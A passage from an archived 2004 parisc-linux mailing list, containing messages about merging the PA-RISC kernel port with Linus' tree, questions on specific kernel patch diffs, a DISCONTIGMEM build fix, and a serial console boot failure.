List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24982


It's been clear to me for a while that we need more regular merges
with Linus' tree.  Part of the fault for that is with me -- I don't
send patches to Linus as fast as I could [1].  Another part of the fault
is with our process.  We only merge full releases and -rc releases.
So, after some awk hacking (thanks to Paul Bame) and a bit of thinking,
I'd like to use a more development-oriented process.

Those on the p-l-cvs list will be seeing the current 2.6.9-bk6 import.
I'm not committing to any kind of schedule for these, but I do intend
to merge every few days.  If two weeks go by without merges, I'm either
slacking or on holiday.

Obviously, this is going to lead to more frequent, but hopefully
also more short-term breakage.  If anyone wants to, they are allowed,
nay, encouraged to create branches in our CVS tree for the purposes
of stabilisation.  I see no problems with 2.6.9-paX continuing as a
"stable series", as long as fixes also go onto the trunk.


[1] Those who want to debug me instead of changing our development
process should be in possession of a degree in psychiatry and be willing
to travel to the Ottawa area for an extended period ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.9-bk6-pa1: some questions
Date: Fri, 22 Oct 2004 14:40:35 +0200
Lines: 218
Approved: news@gmane.org
Message-ID: <4161760000005926@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624497 26070 80.91.229.3 (22 Nov 2014 02:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16630 invoked by uid 65534); 22 Oct 2004 12:41:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 22 Oct 2004 14:41:20 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3CD3C3BDFD; Fri, 22 Oct 2004 06:41:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04124-09; Fri, 22 Oct 2004 06:41:15 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A5803BE2B; Fri, 22 Oct 2004 06:40:54 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02DEE3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 06:40:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04440-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 06:40:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 821EB3BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 06:40:47 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8AA80494746; Fri, 22 Oct 2004 06:40:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [212.123.84.71])
	by palinux.hppa (Postfix) with ESMTP id 62C244940BC
	for <parisc-linux@parisc-linux.org>;
	Fri, 22 Oct 2004 06:40:45 -0600 (MDT)
Original-Received: from mail-8-bnl.tiscali.it (10.39.115.138) by mrq-1.tiscalinet.it
	(7.0.028) id 4100CA5900154A83; Fri, 22 Oct 2004 14:39:41 +0200
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Fri, 22 Oct 2004 14:40:35 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24983

Hello Matthew,

I greatly appreciate this idea.

I can so check my work and so have some questions:

1) I didn't understand this change:
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/drivers/scsi/sym53c8xx_2/sy=
m_glue.c
linux-2.6.9-bk6-pa1/drivers/scsi/sym53c8xx_2/sym_glue.c
--- linux-2.6.9-bk6-pa1.orig/drivers/scsi/sym53c8xx_2/sym_glue.c	2004-10-=
22
08:11:04.000000000 +0200
+++ linux-2.6.9-bk6-pa1/drivers/scsi/sym53c8xx_2/sym_glue.c	2004-10-22 10=
:29:04.000000000
+0200
@@ -2308,7 +2308,7 @@
 	struct sym_hcb *np =3D ((struct host_data *)shost->hostdata)->ncb;
 	struct sym_tcb *tp =3D &np->target[starget->id];
 

-	if (qas)
+	if (starget)
 		tp->tinfo.goal.options |=3D PPR_OPT_QAS | PPR_OPT_DT;
 	else
 		tp->tinfo.goal.options &=3D ~PPR_OPT_QAS;

2) is this  I-K patch still needed (for superio initialisation)
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/drivers/parisc/superio.c li=
nux-2.6.9-bk6-pa1/drivers/parisc/superio.c
--- linux-2.6.9-bk6-pa1.orig/drivers/parisc/superio.c	2004-09-29 10:14:52=
.000000000
+0200
+++ linux-2.6.9-bk6-pa1/drivers/parisc/superio.c	2004-10-22 10:13:33.0000=
00000
+0200
@@ -481,7 +481,7 @@
 	pci_read_config_byte(pdev, PCI_CLASS_PROG, &prog);
 	printk("PCI: Enabled native mode for NS87415 (pif=3D0x%x)\n", prog);
 }
-DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, super=
io_fixup_pci);
+DECLARE_PCI_FIXUP_EARLY(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415, superi=
o_fixup_pci);
 
 
 static int __devinit superio_probe(struct pci_dev *dev, const struct pci=
_device_id
*id)
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/drivers/pci/probe.c linux-2=
.6.9-bk6-pa1/drivers/pci/probe.c
--- linux-2.6.9-bk6-pa1.orig/drivers/pci/probe.c	2004-10-22 08:10:36.0000=
00000
+0200
+++ linux-2.6.9-bk6-pa1/drivers/pci/probe.c	2004-10-22 10:13:33.000000000=

+0200
@@ -478,6 +478,9 @@
 	/* "Unknown power state" */
 	dev->current_state =3D 4;
 
+	/* Early fixups, before probing the BARs */
+	pci_fixup_device(pci_fixup_early, dev);
+
 	switch (dev->hdr_type) {		    /* header type */
 	case PCI_HEADER_TYPE_NORMAL:		    /* standard header */
 		if (class =3D=3D PCI_CLASS_BRIDGE_PCI)
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/drivers/pci/quirks.c linux-=
2.6.9-bk6-pa1/drivers/pci/quirks.c
--- linux-2.6.9-bk6-pa1.orig/drivers/pci/quirks.c	2004-10-22 08:10:36.000=
000000
+0200
+++ linux-2.6.9-bk6-pa1/drivers/pci/quirks.c	2004-10-22 10:13:33.00000000=
0
+0200
@@ -1279,6 +1279,8 @@
 	}
 }
 
+extern struct pci_fixup __start_pci_fixups_early[];
+extern struct pci_fixup __end_pci_fixups_early[];
 extern struct pci_fixup __start_pci_fixups_header[];
 extern struct pci_fixup __end_pci_fixups_header[];
 extern struct pci_fixup __start_pci_fixups_final[];
@@ -1292,6 +1294,11 @@
 	struct pci_fixup *start, *end;
 
 	switch(pass) {
+	case pci_fixup_early:
+		start =3D __start_pci_fixups_early;
+		end =3D __end_pci_fixups_early;
+		break;
+
 	case pci_fixup_header:
 		start =3D __start_pci_fixups_header;
 		end =3D __end_pci_fixups_header;
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/include/asm-generic/vmlinux=
.lds.h
linux-2.6.9-bk6-pa1/include/asm-generic/vmlinux.lds.h
--- linux-2.6.9-bk6-pa1.orig/include/asm-generic/vmlinux.lds.h	2004-10-22=

08:12:00.000000000 +0200
+++ linux-2.6.9-bk6-pa1/include/asm-generic/vmlinux.lds.h	2004-10-22 10:1=
3:33.000000000
+0200
@@ -18,6 +18,9 @@
 									\
 	/* PCI quirks */						\
 	.pci_fixup        : AT(ADDR(.pci_fixup) - LOAD_OFFSET) {	\
+		VMLINUX_SYMBOL(__start_pci_fixups_early) =3D .;		\
+		*(.pci_fixup_early)					\
+		VMLINUX_SYMBOL(__end_pci_fixups_early) =3D .;		\
 		VMLINUX_SYMBOL(__start_pci_fixups_header) =3D .;		\
 		*(.pci_fixup_header)					\
 		VMLINUX_SYMBOL(__end_pci_fixups_header) =3D .;		\
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/include/linux/pci.h linux-2=
.6.9-bk6-pa1/include/linux/pci.h
--- linux-2.6.9-bk6-pa1.orig/include/linux/pci.h	2004-10-22 08:12:15.0000=
00000
+0200
+++ linux-2.6.9-bk6-pa1/include/linux/pci.h	2004-10-22 10:13:33.000000000=

+0200
@@ -993,21 +993,30 @@
 };
 
 enum pci_fixup_pass {
-	pci_fixup_header,	/* Called immediately after reading configuration hea=
der
*/
+	pci_fixup_early,	/* Called immediately after reading
+				   device/vendor IDs and class code */
+	pci_fixup_header,	/* Called after reading the entire
+				   configuration header (including BARs) */
 	pci_fixup_final,	/* Final phase of device fixups */
 	pci_fixup_enable,	/* pci_enable_device() time */
 };
 
 /* Anonymous variables would be nice... */
-#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)					\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_=
used__
\
-	__attribute__((__section__(".pci_fixup_header"))) =3D {				\
-		vendor, device, hook };
-
-#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)				\
-	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_=
used__
\
-	__attribute__((__section__(".pci_fixup_final"))) =3D {				\
-		vendor, device, hook };
+#define DECLARE_PCI_FIXUP_SECTION(section, name, vendor, device, hook)
\
+	static struct pci_fixup __pci_fixup_##name __attribute_used__	\
+	__attribute__((__section__( #section ))) =3D { vendor, device, hook };
+
+#define DECLARE_PCI_FIXUP_EARLY(vendor, device, hook)			\
+	 DECLARE_PCI_FIXUP_SECTION(.pci_fixup_early,			\
+			vendor##device##hook, vendor, device, hook)
+
+#define DECLARE_PCI_FIXUP_HEADER(vendor, device, hook)			\
+	 DECLARE_PCI_FIXUP_SECTION(.pci_fixup_header,			\
+			vendor##device##hook, vendor, device, hook)
+
+#define DECLARE_PCI_FIXUP_FINAL(vendor, device, hook)			\
+	 DECLARE_PCI_FIXUP_SECTION(.pci_fixup_final,			\
+			vendor##device##hook, vendor, device, hook)
 
 #define DECLARE_PCI_FIXUP_ENABLE(vendor, device, hook)				\
 	static struct pci_fixup __pci_fixup_##vendor##device##hook __attribute_=
used__
\

3) is there any danger to apply this matter:
diff -NaurX dontdiff linux-2.6.9-bk6-pa1.orig/drivers/scsi/ncr53c8xx.c li=
nux-2.6.9-bk6-pa1/drivers/scsi/ncr53c8xx.c
--- linux-2.6.9-bk6-pa1.orig/drivers/scsi/ncr53c8xx.c	2004-10-22 08:10:50=
.000000000
+0200
+++ linux-2.6.9-bk6-pa1/drivers/scsi/ncr53c8xx.c	2004-10-22 10:13:33.0000=
00000
+0200
@@ -2841,7 +2841,6 @@
 		if (opcode =3D=3D 0) {
 			printk (KERN_ERR "%s: ERROR0 IN SCRIPT at %d.\n",
 				ncr_name(np), (int) (src-start-1));
-			mdelay(1000);
 		};
 
 		if (DEBUG_FLAGS & DEBUG_SCRIPT)
@@ -2871,7 +2870,6 @@
 			if ((tmp1 ^ tmp2) & 3) {
 				printk (KERN_ERR"%s: ERROR1 IN SCRIPT at %d.\n",
 					ncr_name(np), (int) (src-start-1));
-				mdelay(1000);
 			}
 			/*
 			**	If PREFETCH feature not enabled, remove 

Thanks in advance for your attention,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.9-bk6-pa1 DISCONTIGMEM need help!
Date: Fri, 22 Oct 2004 18:38:15 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <4161760000005B0B@mail-8-bnl.mail.tiscali.sys>
References: <20041021181110.GG16153@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624497 26076 80.91.229.3 (22 Nov 2014 02:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:17 +0000 (UTC)
To: "Matthew Wilcox" <matthew@wil.cx>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10413 invoked by uid 65534); 22 Oct 2004 16:39:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 22 Oct 2004 18:39:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CF86D3BE37; Fri, 22 Oct 2004 10:39:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07972-07; Fri, 22 Oct 2004 10:39:23 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C14BF3BE2B; Fri, 22 Oct 2004 10:38:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA5923BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 10:38:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07724-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 10:38:35 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 664573BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 22 Oct 2004 10:38:35 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BE05C494733; Fri, 22 Oct 2004 10:38:34 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [212.123.84.71])
	by palinux.hppa (Postfix) with ESMTP id C6D5F4940BC
	for <parisc-linux@parisc-linux.org>;
	Fri, 22 Oct 2004 10:38:33 -0600 (MDT)
Original-Received: from mail-8-bnl.tiscali.it (10.39.115.138) by mrq-1.tiscalinet.it
	(7.0.028) id 4100CA5900159705; Fri, 22 Oct 2004 18:37:20 +0200
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Fri, 22 Oct 2004 18:38:15 +0200
In-Reply-To: <20041021181110.GG16153@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24984

Hello Matthew,

This kernel 32bits :) boot fine on my b2k (btw did you have the opportuni=
ty
to find what went wrong on your c3k?)

I also want to build it for my n4k which need DISCONTIGMEM and I encounte=
r
following build pb:
  hppa64-linux-gcc -Wp,-MD,arch/parisc/mm/.init.o.d -nostdinc -iwithprefi=
x
include -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes -Wno-trigraphs
-fno-strict-aliasing -fno-common -O2 -fomit-frame-pointer  -pipe -mno-spa=
ce-regs
-mfast-indirect-calls -ffunction-sections -march=3D2.0 -mschedule=3D8000 =
  
-DKBUILD_BASENAME=3Dinit -DKBUILD_MODNAME=3Dinit -c -o arch/parisc/mm/ini=
t.o
arch/parisc/mm/init.c
arch/parisc/mm/init.c: In function `setup_bootmem':
arch/parisc/mm/init.c:274: warning: implicit declaration of function `nod=
e_set_online'

it seems that it required the same change as for other arches; somthing
like:
--- arch/parisc/mm/init.c.orig	2004-10-22 18:14:39.651683442 +0200
+++ arch/parisc/mm/init.c	2004-10-22 18:13:15.553956857 +0200
@@ -13,6 +13,7 @@
 
 #include <linux/module.h>
 #include <linux/mm.h>
+#include <linux/nodemask.h>
 #include <linux/bootmem.h>
 #include <linux/delay.h>
 #include <linux/init.h>
=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D

Thanks in advance to ci (if ok for everybody obviously :) ),
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] console on ttyS0 broken with 2.6.9-bk6-pa1 ?
Date: Mon, 25 Oct 2004 06:47:09 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <416174660000620A@mail-3-bnl.tiscali.it>
References: <200410241554.52818.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624497 26081 80.91.229.3 (22 Nov 2014 02:48:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:17 +0000 (UTC)
To: "Helge Deller" <deller@gmx.de>,
 parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24260 invoked by uid 65534); 25 Oct 2004 06:47:16 -0000
Original-Received: from mrq-1.tiscalinet.it (EHLO mrq-1.tiscalinet.it) (212.123.84.71)
  by mx0.gmx.net (mx024) with SMTP; 25 Oct 2004 08:47:16 +0200
Original-Received: from mail-3-bnl.tiscali.it (10.39.115.133) by mrq-1.tiscalinet.it (7.0.028)
        id 4100CA590017D8CF; Mon, 25 Oct 2004 08:46:12 +0200
Original-Received: from [57.67.177.33] by mail-3-bnl.tiscali.it with HTTP; Mon, 25 Oct 2004 08:47:09 +0200
In-Reply-To: <200410241554.52818.deller@gmx.de>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24985

Hello Helge,

> 
> I just compiled/booted the latest CVS kernel (2.6.9-bk6-pa1) which seem=
s
> to boot fine.
> Sadly using a serial console is broken. Any ideas ?
> 
Sorry I could very help but I experiment a similar pb on my c110:

> This is the bootlog in minicom:
> 
> palo ipl 0.99 root@P100 Sat Apr 13 22:21:21 CEST 2002
> 
> Boot image contains:
>     0/vmlinux32 4714377 bytes @ 0x8000
> 
> Information: No console specified on kernel command line. This is norma=
l.
> PALO will choose the console currently used by firmware (serial).
> Command line for kernel: 'HOME=3D/ root=3D/dev/sda3 ip=3Dbootp console=3D=
ttyS0
TERM=3Dvt102
> palo_kernel=3D0/vmlinux'
> Selected kernel: /vmlinux from partition 0
> Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing
32-bit
> kernelELF32 executable
> Entry 00100368 first 00100000 n 1
> Segment 0 load 00100000 size 3780741 mediaptr 0x1000
> Branching to kernel entry point 0x00100368.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org=

> 
After this , on this c110 (and b180) model, there are not any more messag=
es
display (since release 2.6.9-rc2-pa1?) on serial console (no way to test
sti one :( ) before :
0x00000009}
lp: driver loaded but no devices found
Generic RTC Driver v1.07
(ie just after sti switch should occur ?)

> 
> Serial: 8250/16550 driver $Revision: 1.90 $ 13 ports, IRQ sharing enabl=
ed
> ttyS0 at MMIO 0xf0105800 (irq =3D 90) is a 16550A
The same but the message is weird for me:
0x00000009}
0x00000009}
0x00000009}
etc

(Note that one of this line was already displayed before "lp: driver..."
?)

Anyway (may be was I not enough patient) the system never came up 
(I couldn't even launch a TOC to grab some piminfo:  the time stamp of wh=
at
I read was date May 23 ... when the hw system clock was well Oct 23 ...?)=


Also a simiar pb on the n4k, the message was:
'io scheduler noop registered'
'io scheduler noop registered'
etc

And the system didn't bring up too (I almost waited 10 mininutes before
reset it)

OTC my b2k with 32bit kernel boot fine without any pb of any kind (all me=
ssages
are well displayed :)

 Cheers,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR






From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andy Walker" <ajwalker@broadpark.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: STI crash on B132L with HCRX-24
Date: Tue, 26 Oct 2004 09:52:24 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <15238.193.160.141.5.1098777144.squirrel@193.160.141.5>
References: <200410031355.12116.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624498 26356 80.91.229.3 (22 Nov 2014 02:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Johannes Raspe" <j.raspe@t-online.de>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18789 invoked by uid 65534); 26 Oct 2004 07:54:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 26 Oct 2004 09:54:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 749F43BDDA; Tue, 26 Oct 2004 01:54:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23234-03; Tue, 26 Oct 2004 01:53:24 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B5DB23BE36; Tue, 26 Oct 2004 01:52:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79D2B3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Oct 2004 01:52:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22996-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Oct 2004 01:52:39 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 061A23BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 26 Oct 2004 01:52:38 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 5285149473E; Tue, 26 Oct 2004 01:52:38 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by palinux.hppa (Postfix) with ESMTP id BD1D4494733
	for <parisc-linux@parisc-linux.org>;
	Tue, 26 Oct 2004 01:52:37 -0600 (MDT)
Original-Received: from tolstoy.puszczka.com (105.80-202-73.nextgentel.com
	[80.202.73.105]) by mail.broadpark.no (Postfix) with ESMTP
	id 7EAED55F6; Tue, 26 Oct 2004 09:53:24 +0200 (MEST)
Original-Received: by tolstoy.puszczka.com (Postfix, from userid 81)
	id 95BD17D70; Tue, 26 Oct 2004 09:52:24 +0200 (CEST)
Original-Received: from 193.160.141.5 (SquirrelMail authenticated user andy);
